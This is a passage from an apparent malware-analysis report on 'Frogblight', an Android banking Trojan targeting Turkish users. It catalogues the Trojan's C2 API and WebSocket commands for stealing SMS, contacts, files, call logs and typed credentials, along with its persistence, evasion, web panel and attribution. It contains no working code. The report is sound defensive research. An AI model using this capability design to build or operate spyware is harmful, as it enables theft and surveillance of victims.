device_id: unique Android device ID permission_type: permission type
status: permission status
sendSms
Send information about an SMS message from the device
device_id: unique Android device ID sender: the sender’s/recipient’s phone number
message: message text
timestamp: received/sent time
type: message type (inbox/sent)
sendTelegramMessage
Send captured user input data from the webpages opened by Frogblight in WebView
device_id: unique Android device ID
url: website URL
title: website page title
input_type: the type of user input data
input_value: user input data
final_value: user input data with additional information
timestamp: the time of data capture
ip_address: user IP address
sms_permission: whether SMS permission is granted
file_manager_permission: whether file access permission is granted
updateDevice
Send information about the device
device_id: unique Android device ID
model: device manufacturer and model
android_version: Android version
phone_number: user phone number
battery: current battery level
charging: device charging status
screen_status: screen on/off
ip_address: user IP address
sms_permission: whether SMS permission is granted
file_manager_permission: whether file access permission is granted
updatePermissionStatus
Send information about permissions
device_id: unique Android device ID
permission_type: permission type
status: permission status
timestamp: current time
uploadBatchThumbnails
Upload thumbnails to the C2
device_id: unique Android device ID
thumbnails: thumbnails
uploadFile
Upload a file to the C2
device_id: unique Android device ID
file_path: file path
download_id: the file ID on the C2
The file itself is sent as an unnamed parameter
uploadFileList
Send information about all files in the target directory
device_id: unique Android device ID
path: directory path
file_list: information about the files in the target directory
uploadFileListLog
Send information about all files in the target directory to an endpoint different from uploadFileList
device_id: unique Android device ID
path: directory path
file_list: information about the files in the target directory
uploadThumbnailLog
Unused but presumably needed for uploading thumbnails to an endpoint different from uploadBatchThumbnails
device_id: unique Android device ID
thumbnails: thumbnails
Remote device control, persistence, and protection against deletion
The app includes several classes to provide the threat actor with remote access to the infected device, gain persistence, and protect the malicious app from being deleted.
capcuttup.refresh.AccessibilityAutoClickService
This is intended to prevent removal of the app and to open websites specified by the threat actor in WebView upon target apps startup. It is present in the sample we review, but is no longer in use and deleted in further versions.
capcuttup.refresh.PersistentService
This is a service whose main purpose is to interact with the C2 and to make malicious tasks persistent.
capcuttup.refresh.BootReceiver
This is a broadcast receiver responsible for setting up the persistence mechanisms, such as job scheduling and setting alarms, after device boot completion.
Further development
In later versions, new functionality was added, and some of the more recent Frogblight variants disguised themselves as the Chrome browser. Let’s look at one of the fake Chrome samples (d7d15e02a9cd94c8ab00c043aef55aff).
In this sample, new REST API client methods have been added for interacting with the C2.
REST API client method
Description
Parameters
getContactCommands
Get commands to perform actions with contacts
Available commands:
● ADD_CONTACT: add a contact to the user device
● DELETE_CONTACT: delete a contact from the user device
● EDIT_CONTACT: edit a contact on the user device
device_id: unique Android device ID
sendCallLogs
Send call logs to the C2
device_id: unique Android device ID
call_logs: call log data
sendNotificationLogs
Send notifications log to the C2. Not fully implemented in this sample, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this API method
action: same as the API method name
notifications: notification log data
Also, the threat actor had implemented a custom input method for recording keystrokes to a file using the com.puzzlesnap.quickgame.CustomKeyboardService service.
Another Frogblight sample we observed trying to avoid emulators and using geofencing techniques is 115fbdc312edd4696d6330a62c181f35. In this sample, Frogblight checks the environment (for example, device model) and shuts down if it detects an emulator or if the device is located in the United States.
Part of the code responsible for avoiding Frogblight running in an undesirable environment
Later on, the threat actor decided to start using a web socket instead of the REST API. Let’s see an example of this in one of the recent samples (08a3b1fb2d1abbdbdd60feb8411a12c7). This sample is disguised as an app for receiving social support via an official government webpage. The feature set of this sample is very similar to the previous ones, with several new capabilities added. Commands are transmitted over a web socket using the JSON format. A command template is shown below:
It is also worth noting that some commands in this version share the same meaning but have different structures, and the functionality of certain commands has not been fully implemented yet. This indicates that Frogblight was under active development at the time of our research, and since no its activity was noticed after September, it is possible that the malware is being finalized to a fully operational state before continuing to infect users’ devices. A full list of commands with their parameters and description is shown below:
Command
Description
Parameters
connect
Send a registration message to the C2
–
connection_success
Send various information, such as call logs, to the C2; start pinging the C2 and requesting commands
–
auth_error
Log info about an invalid login key to the Android log system
–
pong_device
Does nothing
–
commands_list
Execute commands
List of commands
sms_send_command
Send an arbitrary SMS message
recipient: message destination
message: message text
msg_id: message ID
bulk_sms_command
Send an arbitrary SMS message to multiple recipients
recipients: message destinations
message: message text
get_contacts_command
Send all contacts to the C2
–
get_app_list_command
Send information about the apps installed on the device to the C2
–
get_files_command
Send information about all files in certain directories to the C2
–
get_call_logs_command
Send call logs to the C2
–
get_notifications_command
Send a notifications log to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
–
take_screenshot_command
Take a screenshot. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
–
update_device
Send registration message to the C2
–
new_webview_data
Collect WebView data. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
–
new_injection
Inject code. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
code: injected code
target_app: presumably the package name of the target app
add_contact_command
Add a contact to the user device
name: contact name
phone: contact phone
email: contact email
contact_add
Add a contact to the user device
display_name: contact name
phone_number: contact phone
email: contact email
contact_delete
Delete a contact from the user device
phone_number: contact phone
contact_edit
Edit a contact on the user device
display_name: new contact name
phone_number: contact phone
email: new contact email
contact_list
Send all contacts to the C2
–
file_list
Send information about all files in the specified directory to the C2
path: directory path
file_download
Upload the specified file to the C2
file_path: file path
download_id: an ID that is received with the command and sent back to the C2 along with the requested file. Most likely, this is used to organize data on the C2
file_thumbnail
Generate a thumbnail from the target image file and upload it to the C2
file_path: image file path
file_thumbnails
Generate thumbnails from the image files in the target directory and upload them to the C2
folder_path: directory path
health_check
Send information about the current device state: battery level, screen state, and so on
–
message_list_request
Send all SMS messages to the C2
–
notification_send
Show an arbitrary notification
title: notification title
message: notification message
app_name: notification subtext
package_list_response
Save the target package names
packages: a list of all target package names.
Each list element contains:
package_name: target package name
active: whether targeting is active
delete_contact_command
Delete a contact from the user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
contact_id: contact ID
name: contact name
file_upload_command
Upload specified file to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
file_path: file path
file_name: file name
file_download_command
Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
file_url: the URL of the file to download
download_path: download path
download_file_command
Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
file_url: the URL of the file to download
download_path: downloading path
get_permissions_command
Send a registration message to the C2, including info about specific permissions
–
health_check_command
Send information about the current device state, such as battery level, screen state, and so on
–
connect_error
Log info about connection errors to the Android log system
A list of errors
reconnect
Send a registration message to the C2
–
disconnect
Stop pinging the C2 and requesting commands from it
–
Authentication via WebSocket takes place using a special key.
The part of the code responsible for the WebSocket authentication logic
At the IP address to which the WebSocket connection was made, the Frogblight web panel was accessible, which accepted the authentication key mentioned above. Since only samples using the same key as the webpanel login are controllable through it, we suggest that Frogblight might be distributed under the MaaS model.
The interface of the sign-in screen for the Frogblight web panel
Judging by the menu options, the threat actor can sort victims’ devices by certain parameters, such as the presence of banking apps on the device, and send bulk SMS messages and perform other mass actions.
Victims
Since some versions of Frogblight opened the Turkish government webpage to collect user-entered data on Turkish banks’ websites, we assume with high confidence that it is aimed mainly at users from Turkey. Also, based on our telemetry, the majority of users attacked by Frogblight are located in that country.
Attribution
Even though it is not possible to provide an attribution to any known threat actor based on the information available, during our analysis of the Frogblight Android malware and the search for online mentions of the names it uses, we discovered a GitHub profile containing repos with Frogblight, which had also created repos with Coper malware, distributed under the MaaS model. It is possible that this profile belongs to the attackers distributing Coper who have also started distributing Frogblight.
GitHub repositories containing Frogblight and Coper malware
Also, since the comments in the Frogblight code are written in Turkish, we believe that its developers speak this language.
Conclusions
The new Android malware we dubbed “Frogblight” appeared recently and targets mainly users from Turkey. This is an advanced banking Trojan aimed at stealing money. It has already infected real users’ devices, and it doesn’t stop there, adding more and more new features in the new versions that appear. It can be made more dangerous by the fact that it may be used by attackers who already have experience distributing malware. We will continue to monitor its development.